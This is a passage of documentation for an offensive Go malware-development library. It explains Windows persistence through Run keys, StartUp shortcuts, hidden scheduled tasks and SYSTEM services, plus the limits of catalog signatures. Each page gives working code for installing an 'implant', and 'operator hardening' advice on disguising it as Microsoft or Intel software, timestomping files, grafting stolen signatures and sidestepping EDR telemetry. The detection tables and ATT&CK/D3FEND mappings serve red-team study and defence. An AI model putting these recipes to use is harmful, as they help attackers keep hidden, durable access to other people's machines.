participant CC as Crypt32<br>(crypt32.dll)
participant CR as CatRoot<br>(C:\Windows\System32\CatRoot\*.cat)
Caller->>WT: WinVerifyTrust(file)
WT->>WT: hash file (Authenticode hash, SHA-1 + SHA-256)
alt Embedded WIN_CERTIFICATE present
WT->>WT: parse PE security directory<br>verify embedded PKCS#7
else No embedded blob (security directory == 0)
WT->>CC: CryptCATAdminAcquireContext()
WT->>CC: CryptCATAdminCalcHashFromFileHandle()
WT->>CC: CryptCATAdminEnumCatalogFromHash()
CC->>CR: scan registered .cat files
CR-->>CC: matching catalog (CTL with the file's hash)
CC-->>WT: catalog handle
WT->>WT: verify catalog's PKCS#7 signature
end
WT-->>Caller: TRUST_E_SUCCESS or error
Because the lookup is hash-keyed, any byte change to the PE breaks the catalog binding. A cert.Copy operator who grafts their own embedded blob over a catalog-signed file inadvertently disables the catalog path (the security directory is no longer zero, so WinTrust takes the embedded branch first) — the original catalog signature stops verifying.
Why the bundled donor list excludes catalog-signed binaries
donors.All
includes cmd, notepad, svchost, taskmgr, explorer
because they remain useful for the masquerade side
(VERSIONINFO + manifest + icon clone). But
donors.AvailableBlobs()
omits the catalog-signed ones because the cert-extraction step
returns ErrNoCertificate on these donors — there is no
embedded blob to bundle. Operators who want a System32-signed
identity must either:
- Use the embedded-signature donors (Edge, Office, OneDrive, etc. — they're Microsoft Corporation signers too, so the subject reads like System32 to most checks).
- Approach a different attack class (catalog poisoning / hash forgery) — out of scope for this library.
Detection
Catalog-vs-embedded discrimination is trivial for defenders:
| Signal | Meaning |
|---|---|
signtool verify /pa /v shows Signing Certificate Chain: and File is signed in catalog: <path> | Catalog path. |
Same call shows Signing Certificate Chain: without File is signed in catalog | Embedded path. |
Powershell (Get-AuthenticodeSignature <pe>).SignatureType | Catalog vs Authenticode. |
| File has non-zero IMAGE_DIRECTORY_ENTRY_SECURITY (offset 0x98 in PE32+ optional header data directories) | Embedded. |
A red-team binary that ships with an embedded blob lifted from
a System32 donor will surface as Authenticode (not Catalog)
in PowerShell — already a deviation from System32 baseline. Pair
with donors Edge / Office signers if mimicking real third-party
Microsoft products is the goal.
OPSEC implications
- Don't waste time trying to clone catalog signatures via
cert.Copy— it cannot work by design. - Pick donors that match the cosmetic identity: cloning
notepad's VERSIONINFO + an Adobe Authenticode signature is
immediately suspicious to mature triage. Either embrace
third-party identity (use
donors.LoadBlob("acrobat")+ Acrobat's manifest) or accept that System32 masquerade leaves the implant unsigned-via-embedded. - Catalog poisoning is admin — any "I'll just install my own
.cat" path requires write access toCatRoot, defeating the point of using a catalog identity for stealth.
See also
- Certificate theft — the embedded-blob
side, including
donors.LoadBlobandcmd/cert-snapshot. - Masquerade — VERSIONINFO + manifest + icon cloning (orthogonal to signature handling).
- Microsoft docs: WinVerifyTrust, CryptCATAdminEnumCatalogFromHash.
Persistence techniques
The persistence/* package tree groups Windows-only mechanisms
that re-launch an implant across reboots and user logons. The
Mechanism interface is the composition
primitive: each sub-package returns a Mechanism, and
InstallAll / VerifyAll /
UninstallAll operate on a flat slice — operators typically
install two or three mechanisms in parallel so failure of any
single one (cleanup sweep, AV remediation, EDR auto-roll-back)
does not lose persistence.
flowchart TB
subgraph trig [Triggers]
LOGON[user logon]
BOOT[boot]
SCHED[schedule / time]
CLICK[user execution]
end
subgraph mechs [persistence/*]
REG[registry<br>HKCU + HKLM<br>Run / RunOnce]
ST[startup<br>StartUp-folder LNK]
SCHEDP[scheduler<br>COM ITaskService]
SVC[service<br>SCM SYSTEM]
ACC[account<br>local user + admin]
LNK[lnk<br>shortcut primitive]
end
subgraph compose [Composition]
IFACE[Mechanism interface]
ALL[InstallAll / VerifyAll / UninstallAll]
end
LOGON --> REG
LOGON --> ST
LOGON --> SCHEDP
BOOT --> SVC
BOOT --> SCHEDP
SCHED --> SCHEDP
CLICK --> LNK
ACC -. companion to .-> SVC
LNK -. underlying primitive of .-> ST
REG --> IFACE
ST --> IFACE
SCHEDP --> IFACE
SVC --> IFACE
IFACE --> ALL
Where to start (novice path):
registry— HKCU Run key. The classic "implant relaunches at every user logon" mechanism. Smallest footprint, easiest to set up.startup-folder— drop a LNK in the Startup folder. Same trigger (user logon), different artefact class — use one or the other based on which surface defenders inventory.task-scheduler— COM ITaskService. Survives when Run keys / startup folder get cleaned by AV remediation. Heavier setup but most resilient.service— boot-time SYSTEM persistence. Requires admin; pair withcleanup/serviceto hide it fromservices.msc.- Compose 2-3 mechanisms via
InstallAllso failure of one doesn't lose persistence. NEVER rely on a single mechanism.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
persistence/registry | registry.md | moderate | HKCU + HKLM Run / RunOnce key persistence |
persistence/startup | startup-folder.md | moderate | StartUp-folder LNK persistence (user + machine) |
persistence/scheduler | task-scheduler.md | moderate | COM-based scheduled tasks; logon / startup / daily / time triggers |
persistence/service | service.md | noisy | Windows service via SCM (SYSTEM-scope) |
persistence/lnk | lnk.md | quiet | Underlying LNK creation primitive (used by startup, also for T1204.002 user-execution traps) |
persistence/account | account.md | noisy | Local user account add / delete / group membership |
Quick decision tree
| You want to… | Use |
|---|---|
| …survive a reboot, no admin | registry.RunKey(HiveCurrentUser, …) or startup.Shortcut |
| …survive a reboot, machine-wide | registry.RunKey(HiveLocalMachine, …) or startup.InstallMachine |
| …trigger before user logon (boot / startup) | scheduler with WithTriggerStartup or service |
| …schedule recurring callbacks | scheduler.Create with WithTriggerDaily |
| …run as SYSTEM | service or scheduler with startup trigger |
| …compose multiple mechanisms with redundancy | persistence.InstallAll |
| …leave a credential that survives implant removal | account.Add + SetAdmin (loud) |
| …drop a user-execution trap (Desktop / Quick Launch) | lnk.New |
Layered redundancy recipe
The canonical "redundant persistence" pattern installs two mechanisms with different telemetry profiles. Loss of one does not lose persistence; the noisier one provides reach, the quieter one provides resilience.
mechs := []persistence.Mechanism{
// Loud + reach: SYSTEM-scope service, runs at boot.
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
}),
// Quiet + resilience: HKCU Run-key, runs at user logon.
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WinUpdateBackup",
`C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | persistence/registry, persistence/startup | D3-SICA, D3-FCA |
| T1547.009 | Shortcut Modification | persistence/lnk, persistence/startup | D3-FCA |
| T1053.005 | Scheduled Task/Job: Scheduled Task | persistence/scheduler | D3-SCA |
| T1543.003 | Create or Modify System Process: Windows Service | persistence/service | D3-PSA, D3-SICA |
| T1136.001 | Create Account: Local Account | persistence/account | D3-LAM |
| T1098 | Account Manipulation | persistence/account (group changes) | D3-UAP |
| T1204.002 | User Execution: Malicious File | persistence/lnk (Desktop / Quick Launch traps) | D3-FCA |
See also
- Operator path: persistence selection
- Detection eng path: persistence telemetry
pe/masquerade— clone svchost identity for the persisted binary.pe/cert— graft Authenticode signature.cleanup— remove persistence artefacts at op end.privesc— pair to obtain the admin / SYSTEM tokens HKLM-scope and SCM persistence require.
Registry Run / RunOnce persistence
← persistence index · docs/index
TL;DR
Survive reboots by writing the implant's path to a Run/RunOnce registry key. Windows launches the value at every user logon.
| You want… | Use | Hive | Admin? | Persistence |
|---|---|---|---|---|
| Per-user, no admin | Hive=HKCU, RunOnce=false | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | No | Reboot-persistent |
| Per-machine, all users | Hive=HKLM, RunOnce=false | HKLM\…\Run | Yes | Reboot-persistent |
| One-shot bootstrap (delete after first run) | RunOnce=true | …\RunOnce | (depends on hive) | Self-deletes after firing |
What this DOES achieve:
- Trivial install — single
RegSetValueExon a known-key path. - HKCU path needs zero elevation — works from any user-token implant.
- Composes with other mechanisms via
persistence.MechanismInstallAllso cleanup of one doesn't lose persistence if you installed redundantly.
What this does NOT achieve:
- Among the loudest persistence options — Run/RunOnce is the most-monitored persistence path on every EDR. AutoRuns, Sysmon EID 13, every "persistence audit" PowerShell script finds it first.
- HKCU = per-user only — fires only when THIS user logs on. Not for "any user logs in" coverage.
- String-only — no obfuscation; the implant's path is
plaintext in the registry. Pair with
pe/masqueradeto make the path look benign (%SystemRoot%\System32\svchost.exe). - No retry on failure — if the implant crashes, Windows
doesn't restart it. For auto-restart, use
persistence/service(LocalSystem + restart-on-failure).
Primer
Windows reads four registry keys at logon and launches every
value as a process command-line. This is one of the oldest and
most documented persistence techniques — and one of the most
monitored. Its appeal is the trivial install (single
RegSetValueEx) and the no-admin HKCU path: even a
limited-token implant can self-restart after every reboot.
Run keys persist across reboots; RunOnce keys self-delete
after firing once — useful for first-boot bootstrappers that
hand off to a more durable mechanism and then vanish.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Reg as "HKCU\…\Run"
participant Logon as "User logon"
participant Bin as "Implant binary"
Impl->>Reg: RegSetValueEx("IntelGraphicsUpdate",<br>"C:\…\winupdate.exe")
Note over Logon: Reboot / log off + log on
Logon->>Reg: RegEnumValue
Reg-->>Logon: each Run value
Logon->>Bin: CreateProcess(value as cmdline)
Registry paths:
| Hive | Key | Behaviour | Admin? |
|---|---|---|---|
| HKCU | Software\Microsoft\Windows\CurrentVersion\Run | persistent, per-user | no |
| HKCU | Software\Microsoft\Windows\CurrentVersion\RunOnce | one-shot, per-user | no |
| HKLM | Software\Microsoft\Windows\CurrentVersion\Run | persistent, machine-wide | yes |
| HKLM | Software\Microsoft\Windows\CurrentVersion\RunOnce | one-shot, machine-wide | yes |
RunOnce self-cleanup happens after launch succeeds — values
where the binary is missing or fails to launch stay in the
registry, which is itself a forensic tell.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/registry is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — HKCU install + remove
import "github.com/oioio-space/maldev/persistence/registry"
_ = registry.Set(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
defer registry.Delete(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate")
Composed — Mechanism + idempotent install
m := registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
if exists, _ := registry.Exists(registry.HiveCurrentUser,
registry.KeyRun, "IntelGraphicsUpdate"); !exists {
_ = m.Install()
}
Advanced — hive selection + RunOnce bootstrap
Pick HKLM when the implant has admin, otherwise fall back to
HKCU; pair with a RunOnce bootstrap that hands off to a
service.
import (
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/win/privilege"
)
const (
name = "IntelGraphicsCompat"
payload = `C:\Users\Public\Intel\stage1.exe`
)
hive := registry.HiveCurrentUser
if admin, elevated, _ := privilege.IsAdmin(); admin && elevated {
hive = registry.HiveLocalMachine
}
if exists, _ := registry.Exists(hive, registry.KeyRun, name); exists {
return
}
_ = registry.Set(hive, registry.KeyRun, name, payload)
_ = registry.Set(hive, registry.KeyRunOnce, name+"_bootstrap",
payload+" --bootstrap")
See ExampleSet
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Sysmon Event 13 (registry value set) under …\Run | High-fidelity rule on every mature EDR; HKCU\…\Run draws less default coverage than HKLM\…\Run |
autoruns.exe Run-key listing | Sysinternals Autoruns is universal IR triage |
| Defender ASR rule "Block credential stealing" doesn't apply, but ASR "Block persistence through WMI event subscription" detects siblings | EDR rule library |
Value name keyed against known IOC list (payload, update, svchost) | Naive YARA-style rules on registry value contents |
Binary path under user-writable directories (%TEMP%, %APPDATA%\Local\Temp) | Defender heuristic — legitimate Run values target installed-software paths |
RegEnumValue / RegOpenKeyEx from non-explorer.exe | EDR API telemetry; rare unless tooling explicitly polls Run keys |
D3FEND counters:
Hardening for the operator:
- Prefer HKCU when current-user scope is sufficient — lower default coverage and no admin prompt.
- Pick value names that mimic real Run-key values (Adobe Updater, Intel Graphics, Microsoft OneDrive) — pair the binary path with a name + path that match.
- Drop the binary in
%PROGRAMDATA%\Microsoft\…\rather than%TEMP%. - Pair with another mechanism via
persistence.InstallAllso loss of the Run key (autoruns.exe -e -accepteula -ccleanup) does not lose persistence. - For one-shot bootstrappers, use
RunOnceso the registry evidence vanishes on first boot.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | full — Run / RunOnce both supported | D3-SICA, D3-SEA |
Limitations
- Logon trigger only. Run keys fire at user logon, not at
boot. For pre-logon execution use
persistence/serviceorpersistence/schedulerwith aBoot/Startuptrigger. - HKLM admin requirement. Without admin the operator is HKCU-only.
- No CWD control. Windows launches Run-key values via
CreateProcesswith the user's profile as CWD; binaries that depend on a specific CWD must encode it viacd /din the value or read it from a config. - Value-name collision. Two implants writing to the same value name cause silent overwrite — pick distinctive names.
- Visible to standard tooling.
regedit,reg query, PowerShellGet-ItemProperty, andautoruns.exeall surface Run-key values. No way to hide a Run-key entry from a thorough triage.
See also
persistence/startup— sibling logon trigger via StartUp folder.persistence/scheduler— sibling with broader trigger options (boot, daily, time).persistence/service— sibling SYSTEM-scope persistence with pre-logon boot trigger.win/privilege—IsAdminfor hive selection.crypto— encrypt the on-disk payload.cleanup/timestomp— match the binary's file timestamps to a trusted neighbour.- Operator path.
- Detection eng path.
StartUp folder persistence
← persistence index · docs/index
TL;DR
Drop a .lnk shortcut into the StartUp folder. Windows Shell
launches every shortcut it finds at user logon.
| Scope | Folder | Admin? | When |
|---|---|---|---|
| Per-user | %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp | No | This user's logon only |
| All users | %PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\StartUp | Yes | Every user's logon |
What this DOES achieve:
- No admin for user-scope — works from any user-token implant.
- File-based artifact survives certain registry-only cleanup scripts.
- Composes with
persistence/registryviaInstallAllfor redundant persistence.
What this does NOT achieve:
- Highly monitored — every EDR / autoruns scanner / user experiencing suspicious behaviour checks StartUp folders first. Sysmon EID 11 (FileCreate) catches the .lnk drop.
.lnkcontent is easily inspectable —Get-Itemexpands the target path; defenders see your binary path. Pair withpe/masqueradeso the target name looks benign.- No retry on failure — if your binary crashes, Windows doesn't restart it.
- Doesn't survive cleanup that targets file-based persistence —
any "clear StartUp" sweep deletes you. For lower-visibility
triggers, see
persistence/task-scheduler.
Primer
The StartUp folder is the GUI-era equivalent of Run keys. Windows Shell scans two well-known directories at logon and launches every shortcut it finds:
- User:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup - Machine:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Once-popular as an "easy" persistence path, it's now well-known
to defensive tooling — but the user folder still sees less
default scrutiny than HKLM\…\Run on most stacks. The package
wraps persistence/lnk (LNK creation primitive) with
the right paths and a Mechanism adapter.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Lnk as "persistence/lnk"
participant FS as "%APPDATA%\…\Startup"
participant Logon as "User logon"
participant Shell as "Windows Shell"
Impl->>Lnk: New().SetTargetPath(payload).Save(<dir>\Update.lnk)
Lnk->>FS: write .lnk
Note over Logon: Reboot / log off + log on
Shell->>FS: enumerate Startup folder
FS-->>Shell: Update.lnk (target = payload)
Shell->>Impl: CreateProcess(payload)
Per-user paths can be discovered via SHGetKnownFolderPath /
%APPDATA%; the package's UserDir / MachineDir helpers
encapsulate that.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/startup is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — user-scope drop
import "github.com/oioio-space/maldev/persistence/startup"
_ = startup.Install("WindowsUpdate",
`C:\Users\Public\winupdate.exe`,
"--silent")
defer startup.Remove("WindowsUpdate")
Composed — Mechanism + idempotency
m := startup.Shortcut("WindowsUpdate",
`C:\Users\Public\winupdate.exe`, "")
if !startup.Exists("WindowsUpdate") {
_ = m.Install()
}
Advanced — machine-wide install + timestomp
Drop the launcher in the machine folder so the implant runs at every user's logon, then timestomp the resulting LNK so it blends with surrounding Microsoft files.
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/persistence/startup"
)
const target = `C:\ProgramData\Microsoft\winupdate.exe`
if err := startup.InstallMachine("WindowsUpdate", target, ""); err != nil {
panic(err)
}
machineDir, _ := startup.MachineDir()
lnkPath := filepath.Join(machineDir, "WindowsUpdate.lnk")
ref, _ := os.Stat(`C:\Windows\System32\svchost.exe`)
t := ref.ModTime()
_ = timestomp.SetFull(lnkPath, t, t, t)
Pipeline — startup + registry redundancy
Pair a Run-key with the StartUp shortcut so removing one does not lose persistence.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/startup"
)
const target = `C:\Users\Public\winupdate.exe`
mechs := []persistence.Mechanism{
startup.Shortcut("WindowsUpdate", target, ""),
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WindowsUpdateBackup", target),
}
_ = persistence.InstallAll(mechs)
See ExampleShortcut.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
File creation under %APPDATA%\…\Startup | Path-scoped EDR rules — high-fidelity even for benign-looking LNKs |
File creation under %PROGRAMDATA%\…\StartUp | Same, with admin involvement adding to the signal |
autoruns.exe -lcuser / -l listing | Sysinternals Autoruns surfaces both folders |
| LNK pointing at user-writable / temp paths | Defender heuristic |
| LNK with mismatched icon vs target binary | EDR rule cross-checks IconLocation vs TargetPath |
| Implant binary lacking signature + Microsoft VERSIONINFO | Pair with pe/masquerade + pe/cert |
D3FEND counters:
Hardening for the operator:
- Prefer the user folder unless machine-wide is required — lower default coverage.
- Match icon + display name to a plausible identity (Notes, Update, OneDrive).
- Pair with
cleanup/timestompso the LNK's MFT timestamps blend with surrounding Microsoft artefacts. - Pair with
persistence/registryfor redundancy viapersistence.InstallAll. - Avoid this technique when the target stack runs strict ASR rules ("Block executable content from email client and webmail" applies to LNKs delivered via that channel).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Startup Folder | full — user + machine | D3-FCA |
| T1547.009 | Shortcut Modification | partial — LNK creation primitive (delegated to persistence/lnk) | D3-FCA |
Limitations
- Logon-only trigger. Like Run keys, fires at user logon — not at boot.
- One LNK per name. Re-installing under the same name overwrites the existing shortcut without warning.
- Windows-only. No cross-platform stub.
- Visible to standard triage. Both folders are universal IR triage targets.
- No service-account context. LNKs run in the logging-in
user's session — for SYSTEM-scope persistence use
persistence/service.
See also
persistence/lnk— underlying LNK creation primitive.persistence/registry— sibling logon trigger; pair for redundancy.persistence/scheduler— sibling with pre-logon (boot / startup) triggers.pe/masquerade— clone identity for the launched binary.cleanup/timestomp— align LNK timestamps.- Operator path.
- Detection eng path.
Scheduled task persistence
← persistence index · docs/index
TL;DR
Create scheduled tasks via the COM ITaskService API — no
schtasks.exe child process (which is itself a loud signal).
Most flexible trigger surface in the persistence tree.
| Trigger | When it fires | Admin required? |
|---|---|---|
Logon | At any user logon | No (per-user task) |
Startup | At system boot | Yes |
Daily | Once per day at HH:MM | No (per-user) |
Time | One-shot at specified time | No (per-user) |
Hidden=true | Task invisible in Task Scheduler GUI | n/a (orthogonal flag) |
What this DOES achieve:
- COM call (
CoCreateInstance(CLSID_TaskScheduler)) — no child-process spawn (schtasks.exeis a flagged signal). - Trigger flexibility beyond Run/Startup: schedule, idle, log events, custom XML.
Hidden=trueflag removes from default Task Scheduler view (still in\Microsoft\Windowsif defenders look).
What this does NOT achieve:
- Event 4698 (task created) still fires regardless of COM
vs
schtasks.exe. Defenders watching Security log see every task. - Hidden=true is cosmetic —
Get-ScheduledTaskandschtasks /Query /Vshow hidden tasks too. Only the GUI filters. - Per-user tasks live in HKCU\…\Schedule\TaskCache — defenders enumerating user-scope autoruns find them.
- For SYSTEM-trust tasks, an alternative is
persistence/service— louder install (Event 7045) but more familiar to operators reading defender alerts.
Primer
The Task Scheduler is the most flexible Windows persistence mechanism. Triggers go beyond logon (Run keys, StartUp folder) and boot (services): tasks can fire on a schedule, on idle, on session lock/unlock, on event-log entries, on system events.
Most operators use schtasks.exe to register tasks — which
spawns a visible child process under the implant's lineage.
This package skips schtasks.exe entirely by talking to the
Schedule.Service COM object directly via go-ole. The audit
event (4698) still fires regardless of registration path; the
process-creation telemetry vanishes.
How It Works
sequenceDiagram
participant Caller
participant COM as "Schedule.Service<br>(COM)"
participant TS as "Task Scheduler service"
participant Audit as "Security log"
participant Trig as "Trigger fires"
participant Bin as "Implant"
Caller->>COM: CoInitialize(STA)
Caller->>COM: GetFolder("\\")
Caller->>COM: NewTask() ITaskDefinition
Caller->>COM: set actions / triggers / settings (hidden=true)
Caller->>COM: RegisterTaskDefinition(name, def)
COM->>TS: persist task definition
TS-->>Audit: Event 4698 (scheduled task created)
Note over Trig: Trigger fires (logon / startup / daily / time)
TS->>Bin: spawn implant under SYSTEM (or registered context)
Triggers supported by this package:
| Constructor | Trigger |
|---|---|
WithTriggerLogon() | Any user logon |
WithTriggerStartup() | Boot — runs as SYSTEM by default |
WithTriggerDaily(intervalDays) | Every N days |
WithTriggerTime(t) | One-shot at t |
Task names must start with \ — \TaskName for the root
folder, \Folder\TaskName for sub-folders.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/scheduler is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — logon trigger, hidden
import "github.com/oioio-space/maldev/persistence/scheduler"
_ = scheduler.Create(`\IntelGraphicsRefresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerLogon(),
scheduler.WithHidden(),
)
defer scheduler.Delete(`\IntelGraphicsRefresh`)
Composed — Mechanism + boot trigger
m := scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerStartup(),
scheduler.WithHidden(),
)
_ = m.Install() // runs as SYSTEM at boot — admin required
Advanced — daily + one-shot on the same task chain
import "time"
// Daily refresh: every day at the implant's chosen interval.
_ = scheduler.Create(`\IntelGraphicsRefresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerDaily(1),
scheduler.WithHidden(),
)
// One-shot recovery at a specific time (e.g. fire-and-forget
// 2 hours from now to retry a failed C2 callback).
recovery := time.Now().Add(2 * time.Hour)
_ = scheduler.Create(`\IntelGraphicsRefreshRecovery`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`,
"--recovery"),
scheduler.WithTriggerTime(recovery),
scheduler.WithHidden(),
)
Pipeline — task + Run-key dual persistence
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/scheduler"
)
const bin = `C:\ProgramData\Microsoft\winupdate.exe`
mechs := []persistence.Mechanism{
scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
scheduler.WithAction(bin),
scheduler.WithTriggerStartup(),
scheduler.WithHidden()),
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WinUpdateBackup", bin),
}
_ = persistence.InstallAll(mechs)
See ExampleCreate.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security Event 4698 (scheduled task created) | Universal audit; SIEM rules correlate against task-name patterns and binary paths |
| Microsoft-Windows-TaskScheduler/Operational ETW provider | Per-task creation events |
schtasks /query / Get-ScheduledTask listing | Operator review; Hidden flag requires "Show Hidden" toggle in taskschd.msc but schtasks /query /xml shows everything |
Task XML stored at %SystemRoot%\System32\Tasks\<path>\<name> | File-creation telemetry on the XML drop |
Task-name patterns mimicking Microsoft (\Microsoft\Windows\…) | EDR rules flag custom tasks under the \Microsoft\Windows\ prefix because legitimate Microsoft tasks ship via WIM, not runtime registration |
schtasks.exe child process | Absent here — COM path bypasses Sysmon Event 1 / child-process EDR rules |
Hidden task with non-Microsoft author | Defender heuristic flags hidden tasks created by non-Microsoft processes |
D3FEND counters:
Hardening for the operator:
- Match the task path + name to a plausible Microsoft idiom
(
\Microsoft\Windows\<Component>\<Task>) — but be aware some EDRs flag non-Microsoft authors at exactly that path prefix. - Use
WithHidden()to keep the task out of casualtaskschd.mscbrowsing, but don't rely on it as a stealth primitive —schtasks /query /xmlandGet-ScheduledTaskstill surface it. - Prefer
WithTriggerStartupoverWithTriggerLogonfor pre-logon callbacks; the SYSTEM context is broader and the task fires before the user is logged in. - Pair with
pe/masqueradefor binary identity match. - Avoid hosts with strict task-creation auditing (Microsoft-Windows-TaskScheduler/Operational forwarded to enterprise SIEM).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1053.005 | Scheduled Task/Job: Scheduled Task | full — COM-based registration, all common triggers | D3-SCA, D3-SICA |
Limitations
- Audit cannot be skipped. Event 4698 fires at registration regardless of how the task is created.
- Trigger options trimmed. This package supports the
common triggers (logon, startup, daily, one-shot time).
Other COM triggers (idle, session lock/unlock, event-log
match) are not exposed — extend
optionsto add. - Startup/logon triggers require admin. Boot/startup tasks registered without admin are silently downgraded to "any user logon" or rejected.
- Hidden flag is cosmetic.
taskschd.mschides the task from default view; every other tooling surfaces it. - No principal override. Tasks run as the registered
user (or SYSTEM for startup/boot). Specifying a different
principal (
RunAs) requires the password and is out of scope for this package.
See also
persistence/service— sibling SYSTEM-scope persistence with stronger SCM telemetry.persistence/registry— sibling logon-only persistence with lighter audit.pe/masquerade— match binary identity to the cloned trigger lineage.cleanup— remove the task post-op.- Operator path.
- Detection eng path.
Windows service persistence
← persistence index · docs/index
TL;DR
Install a Windows service so the implant runs as LocalSystem
at every boot. Highest-trust persistence available; also the
loudest.
| Trait | Value |
|---|---|
| Trigger | Boot (or service start trigger) |
| Privilege | LocalSystem (highest non-kernel) |
| Auto-restart on crash? | Yes (configurable via SCM recovery actions) |
| Admin required to install? | Yes — SeCreateServicePrivilege or admin SCM access |
| Telemetry signature | System Event 7045 + Security Event 4697 every install |
What this DOES achieve:
- Survives reboots, user logoffs, AV cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).
- Runs as
LocalSystem— full privilege, no UAC, can manipulate other services. - Implements
persistence.Mechanism— composes viaInstallAllfor redundant persistence.
What this does NOT achieve:
- Loudest persistence option — every modern EDR alerts on
service install. Pair with
cleanup/service.Hideto remove fromservices.mscenumeration after install (still loud during install, quieter afterwards). - Doesn't bypass admin requirement — you need to be admin
to install. For non-admin persistence, see
persistence/registry(HKCU) orpersistence/startup-folder. - EDR remediation often targets services first — defenders who notice see the service name + binary path, can stop + delete with one PowerShell command.
- Service description is plaintext — choose a name +
description that blends with legitimate Windows services
(e.g., "Windows Update Medic" variants), but ANY new
service in
HKLM\SYSTEM\CurrentControlSet\Servicesis inspectable.
Primer
Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).
Trade-off: SCM database changes are universally audited. Mature
EDR stacks correlate Event 7045 against the binary path
(user-writable = bad), the signer (unsigned = bad), and the
service description (suspicious keywords). Pair with
pe/masquerade (svchost preset),
pe/cert, and a binary path
inside %SystemRoot%\System32\ for the lowest-noise install
operationally available.
How It Works
sequenceDiagram
participant Caller
participant SCM as "Service Control Manager"
participant DB as "services.exe DB"
participant Audit as "Event log"
Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
Caller->>SCM: CreateService(name, binPath, type, startType)
SCM->>DB: write service entry
DB-->>Audit: System 7045 (service installed)
DB-->>Audit: Security 4697 (service installed)
Caller->>SCM: StartService (optional)
Note over SCM: services.exe spawns binPath as LocalSystem
The implementation uses golang.org/x/sys/windows/svc/mgr
under the hood — the standard svc.mgr package — to keep
the SCM interaction contract well-tested and conventional.
Mechanism.Install chains Install + (optionally)
StartService; Mechanism.Uninstall is StopService +
DeleteService with cleanup-pause semantics.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/service is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — install + start
import "github.com/oioio-space/maldev/persistence/service"
err := service.Install(&service.Config{
Name: "WinUpdateNotifier",
DisplayName: "Windows Update Notification Center",
Description: "Provides update notifications.",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
})
if err != nil {
panic(err)
}
_ = service.Start("WinUpdateNotifier")
Composed — Mechanism + InstallAll redundancy
Pair with a Run-key fallback so loss of either mechanism does not lose persistence.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/service"
)
mechs := []persistence.Mechanism{
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
}),
registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
"WinUpdateBackup",
`C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
if e != nil {
// partial install — verify which fired
}
}
Advanced — masqueraded binary in System32
The full-stealth recipe: emit a binary that masquerades as a
real svchost service host, drop it under System32, install
under a plausible service name.
// At build time:
// import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
// go build -o svc-update.exe ./cmd/implant
// On target (assumes admin):
import (
"io"
"os"
